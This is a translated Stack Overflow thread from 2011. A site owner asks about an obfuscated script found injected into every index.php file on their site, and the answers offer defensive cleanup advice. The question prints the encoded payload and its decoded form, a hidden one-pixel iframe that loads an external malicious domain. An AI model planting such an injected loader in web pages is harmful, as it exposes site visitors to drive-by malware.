需要帮助识别放置在我被黑网站上的恶意 JavaScript 代码 [关闭]答案

【问题标题】：Need help identifying malicious JavaScript code that was placed on my hacked website [closed]需要帮助识别放置在我被黑网站上的恶意 JavaScript 代码 [关闭]
【发布时间】：2011-04-18 15:15:22
【问题描述】：

我网站的

index.php 文件受到下面给出的脚本的影响。因此，谷歌已禁止我访问。有人请告诉我这是一种攻击吗？有什么解决方案吗？

<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%70%6F%64%66%65%72%2E%63%6F%6D%2F%3F%35%30%36%36%37%31%38%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script><!-- uy7gdr5332rkmn -->

FWIW，上面的未编码版本是

eval(document.write('<iframe src="http://podfer.com/?5066718" width=1 height=1></iframe>'));

感谢和问候

提斯蒙

【问题讨论】：

糟糕！只需在我的浏览器 Firebug Javascript 控制台中运行它，我的电脑就会单独播放俄罗斯方块:~)
@ring0 这就是奉献
@tismon 这只是将 iframe 插入您的网站的代码，就像任何恶意软件一样。需要更多信息。您正在运行诸如 wordpress 之类的软件吗？
不是，是我自己在php 4和oracle中设计的，而且我根目录下所有index.php文件都受这个脚本影响。
有时您的软件可能被黑客入侵，有时您的主机可能已被黑客入侵（远程用户攻击 apache、IIS 等，甚至是在同一主机上拥有帐户的另一个本地用户）。如果不详细了解您的软件，我们将无法提供解决方案。 PHP 4 强烈建议您一般需要重写它 - PHP 4 应该在这一点上，不再使用。它非常过时，最后我知道，配置了不安全的默认值。如果您的虚拟主机不支持 PHP 5，我建议您找一个新主机。

标签： php virus

【解决方案1】：

听起来像这样：link text

根据您发布的有限信息，我几乎可以保证您正在该站点上运行某种开源软件——也许不在受影响的确切站点上，但服务器上可能有一些... .而且它也不太可能符合当前标准。我已经看到它发生在 phpBB、Joomla（尤其是 Joomla）、phpMyAdmin 和 Wordpress 上。这几乎是可怕的普遍现象，而且 99% 的时间远没有许多人想象的那么复杂。它发生在我非常古老的 Mambo 测试安装和使用流氓安装的 phpBB 时，IT 人员的某个人偷偷进入服务器与他们的梦幻足球联盟通信。

问题是，黑客很懒惰。除非你有他们真正想要的东西，否则他们没有理由去单独攻击你……这不值得他们花时间。但是，如果您使用可利用的代码库运行一段普通代码，他们可以随机扫描站点以查找它，并在找到漏洞时自动攻击。因此，代码的内容和位置几乎总是相同的原因。

将站点停放...放置“正在建设”页面。将您的代码拉下来并擦洗它，无论是手动还是自动。现在停止！更新所有开源代码，无论它是多么新近。现在对权限、SQL 查询（尤其是未转义的搜索框）和用户权限系统进行完整性检查。运行脚本注入测试。最后，一旦你尽你所能，测试，测试，测试。最后，认为这可能与问题无关，请更改您的密码并使用良好的密码策略来保护它。

祝你好运。小心！

【讨论】：

@Alexander Sagen, @ring0 非常感谢您的回复.. 我目前正在检查所有页面并手动删除脚本..
它与开源没有关系。 IIS 和 IE 的参差不齐的历史表明，闭源软件同样容易受到各种攻击。
亚历克斯，确实如此。似乎更多地打击了开源，因为代码在那里被黑客攻击。我们唯一的办法是实施社区做得很好的补丁。但我敢打赌，在我所了解的 15 个基于开源的网站中（由朋友、同事、熟人经营），最近只有 10 个应用了必要的补丁以保持安全……这在我的书中是一个大问题。尤其是对于微软和 IE，IE6 从来没有被归类为“间谍软件”，这是一个奇迹，因为它有很多漏洞......

【解决方案2】：

bpeterson76 所说的，还有：

如果您确实没有在系统上运行任何通用软件，我会首先检查您自己的脚本，尤其是当您在任何地方对文件系统进行任何写入时。但它也可能是过时的服务器软件，如 apache 或你有什么暴露了安全漏洞。由于数据已添加到您的文件中，因此不太可能是 SQL 注入。

根据您的主机，更新您的所有服务器软件，或询问您的主机提供商。

你有日志吗？仔细观察它们可能会发现这个洞。如果您使用的是共享主机，则在某些设置中，如果您的文件权限允许，其他客户可以写入您的文件。

【讨论】：

【解决方案3】：

实际上，不久前我的网站遭到了类似的攻击。首先，检查您的 web 根目录下的文件夹中是否有以函数命名的 php 文件。我的是 opendir、iswritable 等。你应该在这些文件中看到更多的 base64 编码脚本。如果你不这样做，它可能是无关的。无论如何，podfer.com 的 who.is 记录都有一些信息。联系该网站的托管公司并告诉他们它正在发起 CSS 攻击，他们应该毫不费力地将他关闭。我得到了那个对我产生影响的黑客。

另外，如果你使用的是 Mosso/rackspace，你应该进去收紧你的文件权限。

【讨论】：